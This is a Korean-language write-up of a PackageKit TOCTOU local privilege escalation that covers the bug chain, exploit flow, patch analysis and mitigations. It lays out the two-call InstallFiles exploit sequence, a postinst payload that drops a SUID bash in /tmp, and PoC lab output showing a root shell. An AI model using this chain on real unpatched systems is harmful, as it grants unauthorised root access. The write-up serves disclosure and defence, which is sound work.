한 줄 요약
리눅스 데스크톱에 흔히 설치되어 있는 PackageKit 데몬에서, 비특권 로컬 사용자가 D-Bus 호출 두 번으로 root를 가져온다.

원인은 단순하다 — 권한 검사는 요청 시점에, 실제 실행은 큐에서 꺼낼 때. 그 사이 틈이 전부다.

0. 시작하기

이 취약점은 개별 버그 세 개는 각각 정상 동작처럼 보인다. 하지만 세 개가 한 줄에 서는 순간, 인증을 통과한 적 없는 패키지가 root로 설치된다.

항목 내용
취약점 유형 TOCTOU 경합 조건 + 트랜잭션 상태/데이터 불일치
근본 원인 인증 시점과 실행 시점의 플래그 값이 달라질 수 있음
트리거 조건 로컬 비특권 사용자, system D-Bus 접근 가능
영향 root 권한 임의 코드 실행 (LPE)
영향 버전 PackageKit 1.0.2 ~ 1.3.4
패치 버전 1.3.5 (커밋 76cfb675)
CVSS 3.1 8.8 (High) — AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
익스플로잇 신뢰도 높음 — 타이밍 운이 아니라 D-Bus 디스패치(priority 0) vs idle 콜백(priority 200) 우선순위 구조로 사실상 결정론적

1. 배경: PackageKit이 어떻게 권한을 다루는지

1-1. PackageKit이 무엇인가

GNOME 소프트웨어 센터에서 설치 버튼을 누르면, GUI가 직접 apt install 명령어로 설치하지 않는다. 일반 사용자 권한으로 열린 GUI가 시스템 패키지를 건들 수 없다.

대신 root로 상시 실행 중인 PackageKit 데몬에게 D-Bus로 설치를 요청하고, 데몬이 polkit에게 사용자가 작업을 해도 되는지 권한 확인을 진행한 다음 대신 실행한다.

[일반 사용자 GUI]  --D-Bus-->  [PackageKit 데몬 (root)]  --물어봄-->  [polkit]
                                        |
                                        +--승인되면--> 실제 패키지 설치

이 구조 자체에서 비특권 프로세스가 특권 데몬에게 직접 접근이 가능한 통로가 열려있는 셈이다.

1-2. 트랜잭션 라이프사이클

PackageKit은 요청을 즉시 처리하지 않고 트랜잭션 객체를 만들어 상태 머신으로 굴린다.

CreateTransaction()
        ↓
   [ NEW ]  ← 트랜잭션 생성 직후
        ↓  InstallFiles() 호출 + polkit 인증 통과
   [ READY ] ← "실행할 준비 됨", GLib idle 큐에 콜백 등록
        ↓  메인 루프가 한가해지면 디스패치
   [ RUNNING ] ← 실제 설치 수행
        ↓
   [ FINISHED ]

여기서 흥미로운 부분은 idle 큐에 등록이다. 인증이 끝난 순간 바로 설치하는것이 아닌, GLib 메인 루프가 여유로워질 때까지 기다렸다가 이후에 실행한다. 인증이 끝난 시점과 실제 실행 시점이 분리되는 이 구간이 취약점의 무대가 된다.

1-3. 트랜잭션 플래그 — 권한 요구 수준이 다른 문들

InstallFiles()는 플래그 비트마스크를 인자로 받는다. PkTransactionFlagEnum의 열거값 x가 비트필드에서 1 << x로 변환된다(pk_bitfield_value()).

플래그 열거값 비트필드 의미
PK_TRANSACTION_FLAG_NONE 0 0x0 플래그 없음 = 실제 설치 → 최고 수준의 polkit 인증 필요
PK_TRANSACTION_FLAG_ONLY_TRUSTED 1 0x2 서명된 패키지만 허용
PK_TRANSACTION_FLAG_SIMULATE 2 0x4 시뮬레이션만, 시스템 변경 없음
PK_TRANSACTION_FLAG_ONLY_DOWNLOAD 3 0x8 다운로드만, 설치는 하지 않음

핵심은 플래그에 따라 요구되는 polkit 액션의 등급이 달라진다는 점이다. 실제 설치(NONE)는 강한 권한을 요구하지만, 다운로드만 하거나(ONLY_DOWNLOAD) 시뮬레이션만 하는(SIMULATE) 작업은 시스템을 바꾸지 않으므로 훨씬 약한 권한만 있으면 된다 — 라는 것이 설계 전제다.

즉 공격자는 "약한 문으로 들어가서, 문을 통과한 뒤에 강한 방으로 갈아타는" 것을 노린다.

2. 취약점 원리

전부 src/pk-transaction.c 한 파일 안에서 벌어진다.

① — 상태 확인 없는 무조건적 덮어쓰기 (~line 4036)

InstallFiles()는 호출될 때마다 현재 트랜잭션 상태와 상관없이 캐시된 플래그와 파일 경로를 덮어쓴다. 이미 인증이 끝나고 READY 상태로 넘어간 트랜잭션에 대해 다시 InstallFiles()를 호출해도, 따로 막는 코드가 존재하지 않는다.

단순하게 새로운 값으로 변경한다.

② — 조용히 실패하는 상태 전이 (~line 876-881)

트랜잭션 상태 머신은 RUNNING → WAITING_FOR_AUTH 같은 역방향 전이를 거부한다. 문제는 거부하는 방식이다.

pk_transaction_set_state(RUNNING → WAITING_FOR_AUTH)
    → 거부됨
    → 에러 반환? ❌
    → 예외 발생? ❌
    → 그냥 조용히 return ✅  ← 여기

에러를 발생시키지 않고 무시한다. 결과적으로는

  • 상태(state)는 원래대로 유지되고
  • 데이터(flags, path)는 이미 ①에서 새로운 값으로 변경되어 있다.

상태와 데이터가 서로 다른 시점을 가리키게 된다. 이게 state confusion의 시작점이다.

③ — 실행 시점에 캐시를 다시 읽는다 (~line 2273-2277)

스케줄러의 idle 콜백은 인증이 통과된 시점의 플래그를 기록해두는 것이 아닌, 실제로 디스패치되는 순간 cached_transaction_flags를 읽어오게 된다.

[T0] 인증 시점        : flags = 약한 플래그(ONLY_DOWNLOAD 0x8 등) → 낮은 권한으로 통과
[T1] 공격자 개입      : flags = NONE (0x0)                        ← 덮어쓰기
[T2] idle 디스패치    : flags를 "지금" 다시 읽음 → NONE (0x0) ❗
                       → 인증받은 적 없는 실제 설치가 실행됨

T0에서 승인받은 것과 T2에서 실행되는 것이 다르다.

세 버그의 관계

버그①  덮어쓰기 가능      ─┐
                           ├─→  상태 ≠ 데이터  ─→  버그③  실행 시점 재조회  ─→  LPE
버그②  거부가 조용함      ─┘        (state confusion)

셋 중 하나만 없었어도 익스플로잇은 성립하지 않는다.

  • ①이 막혔다면 → 두 번째 호출이 플래그를 못 바꿈
  • ②가 에러를 던졌다면 → 클라이언트가 실패를 인지하고 트랜잭션이 폐기됨
  • ③이 인증 시점 값을 썼다면 → 덮어써도 원래의 약한 플래그로 실행되어 무해함

3. 익스플로잇 체인

3-1. 공격 흐름

┌─ 1. CreateTransaction()
│     state = NEW
│
├─ 2. InstallFiles(flags=약한 플래그, path=/tmp/dummy.deb)   [async]
│     → 낮은 등급의 polkit 액션만 요구 → 통과
│     → idle 콜백 큐에 등록 (아직 실행 안 됨)
│                          ⏱ 디스패치 대기 구간 시작
├─ 3. InstallFiles(flags=0x0 NONE, path=/tmp/payload.deb)   [async, 인증 없이]
│     → 버그①: cached_transaction_flags → 0x0, path도 payload로 교체 ✅
│     → 버그②: 역방향 상태 전이는 조용히 거부, 근데 데이터는 이미 바뀜 ✅
│                          ⏱ 디스패치 대기 구간 종료
└─ 4. idle 콜백 디스패치
      → 버그③: 캐시 재조회 → flags=0x0(실제 설치) + payload.deb ✅
      → root 권한으로 payload.deb 설치
      → postinst 스크립트가 root로 실행 → SUID 바이너리 생성

첫 호출로 약한 권한의 티켓을 끊어 큐에 자리를 잡고, 그 티켓이 사용되기 전에 티켓에 적힌 내용물만 바꿔치기하는 구조이다.

3-2. 왜 "운"이 아니라 "설계"로 성공하는가

이 취약점을 TOCTOU라고 부르긴 하지만, 실제로는 타이밍을 맞추려고 애쓸 필요가 없다. 두 번째 InstallFiles() 호출을 동기가 아니라 비동기(fire-and-forget) 로 보내고, 첫 번째 호출 직후 곧바로 이어서 두 메시지를 한 번에 커널 소켓 버퍼로 흘려보내면 된다.

서버(PackageKit 데몬)의 GLib 메인 루프는 D-Bus 메시지 디스패치(priority 0)를 idle 콜백(priority 200, 숫자가 클수록 우선순위 낮음)보다 항상 먼저 처리한다. 즉 "몇백 ms 안에 운 좋게 두 번째 호출이 들어가면 성공"이 아니라, 두 메시지가 소켓 버퍼에 함께 도착하는 순간 idle보다 먼저 처리되는 것이 GLib 스케줄링 규칙상 보장된다. 그래서 일반적인 race condition 익스플로잇보다 신뢰도가 훨씬 높다.

⚠️ Finished 시그널을 믿지 마라
실제로 돌려보면 추적 중인 트랜잭션은 PK error 48: Failed to obtain authenticationFinished(exit=2)로 마치 실패한 것처럼 보고된다. 이는 두 번째 InstallFiles() 호출이 상태 전이(버그②)에서 거부되며 나는 신호일 뿐이다. 캐시는 이미 덮어써진 뒤라 idle 콜백은 이와 무관하게 설치를 진행한다. 그래서 실습 4장의 PoC도 D-Bus 시그널이 아니라 /tmp/.suid_bash 파일 존재 여부를 직접 폴링해서 성공을 판정한다.

3-3. Payload

Debian 계열 패키지의 postinst(설치 후 실행) 스크립트는 root 권한으로 실행된다. 여기에 한 줄만 넣으면 끝이다. PoC는 시스템 /bin/bash를 훼손하는 대신 SUID 사본을 따로 떨어뜨리는 방식을 쓴다.

#!/bin/sh
install -m 4755 /bin/bash /tmp/.suid_bash

원본을 건드리지 않으니 시스템이 망가지지 않고, 흔적도 /tmp 하나로 끝난다. 설치가 끝나면 일반 사용자 셸에서:

/tmp/.suid_bash -p     # -p: SUID 권한 유지
id                     # uid=1001(victim) euid=0(root)

RPM 계열에서는 postinst 대신 %post scriptlet이 같은 역할을 한다. 취약점 자체는 백엔드와 무관하며 Red Hat 계열에도 에러타가 발행되었다. 다만 여기서 쓴 PoC는 /etc/debian_version 존재를 확인하고 .deb만 생성하므로 Debian/Ubuntu 전용이다.

4. 실습

git clone <PoC 저장소>
cd CVE-2026-41651
docker build -t cve-2026-41651 .
docker run --rm -it cve-2026-41651

컨테이너 진입 후 victim 계정에서 PoC를 실행한 결과:

  System  : Ubuntu 24.04.4 LTS
  User    : victim (uid=1001)

═══════════════════════════════════════════════════
 CVE-2026-41651 — PackageKit TOCTOU LPE
═══════════════════════════════════════════════════
[*] Building packages (pure C)...
[+] dummy   : /tmp/.pk-dummy-47.deb
[+] payload : /tmp/.pk-payload-47.deb
[*] Transaction : /1_acceadde
[*] Step 1 : InstallFiles(SIMULATE=0x4, dummy) [async]
[*] Step 2 : InstallFiles(NONE=0x0, payload) [async]
[*] Waiting for dispatch (30 s max)...
[!] PK error 48: Failed to obtain authentication.
[*] Finished (exit=2, 0 ms)
[*] Polling for payload (120 s max)...
[*] t+1s: payload=exists dpkg_lock=free suid=not yet

[+] SUCCESS — SUID bash at t+200ms
uid=1001(victim) gid=1001(victim) euid=0(root) groups=1001(victim)
.suid_bash-5.2# id
uid=1001(victim) gid=1001(victim) euid=0(root) groups=1001(victim)

[!] PK error 48 / Finished(exit=2)가 떠서 실패처럼 보이지만 실제로는 성공한다 — 3-2절 참고. 폴링이 suid=not yet에서 시작해 t+200ms에 SUID 바이너리가 새로 생성되는 것이 보이고, 최종적으로 euid=0(root) 셸을 획득한다.

5. 패치 분석

다음은 1.3.5 버전의 수정(76cfb675)이다. pk_transaction_method_call() 코드 실행 진입 시점에 상태 검증 코드를 추가했다.

if (transaction->state != PK_TRANSACTION_STATE_NEW)
        → D-Bus 메서드 호출 자체를 거부

즉, 트랜잭션 하나당 실질적인 메서드 호출은 한번이라고 강제했다. 두 번째 InstallFiles()가 진입 못하도록 버그 ①이 차단되고, ①이 종료되면 나머지 ②③은 트리거될 방법이 없다.

근본 수정 vs. 표면 수정

하지만 이 패치를 통해 버그 ③(실행 시점 재조회)은 따로 조치되지 않았다. 인증 시점과 실행 시점의 값이 다를 수 있다는 구조는 존재하지만, 덮어쓸 수 있는 진입점을 제거함으로서 취약점을 조치했다.

6. 방어 관점

즉시 조치

# 버전 확인
pkcon --version

# 업데이트
sudo apt update && sudo apt install --only-upgrade packagekit   # Debian/Ubuntu
sudo dnf update PackageKit                                       # Fedora/RHEL

업데이트가 당장 불가능하다면

  • PackageKit 데몬을 비활성화 (systemctl mask packagekit) — GUI 소프트웨어 센터 기능은 손실되지만, D-Bus 진입점 자체가 사라지므로 확실하다.

polkit 규칙 강화는 이 CVE의 완화책이 되지 못한다.
흔히 떠올리는 "org.freedesktop.packagekit.* 액션을 특정 그룹으로 제한" 방식은 여기서 무의미하다. 공격자는 애초에 약한 등급의 액션으로 통과한 뒤 플래그만 갈아치우고, 실제 설치를 수행하는 idle 콜백은 polkit을 다시 묻지 않기 때문이다. 강한 액션의 규칙을 아무리 조여도 그 검사 자체가 실행되지 않는다. 패치 적용 또는 데몬 비활성화만이 실질적인 대응이다.

참고 자료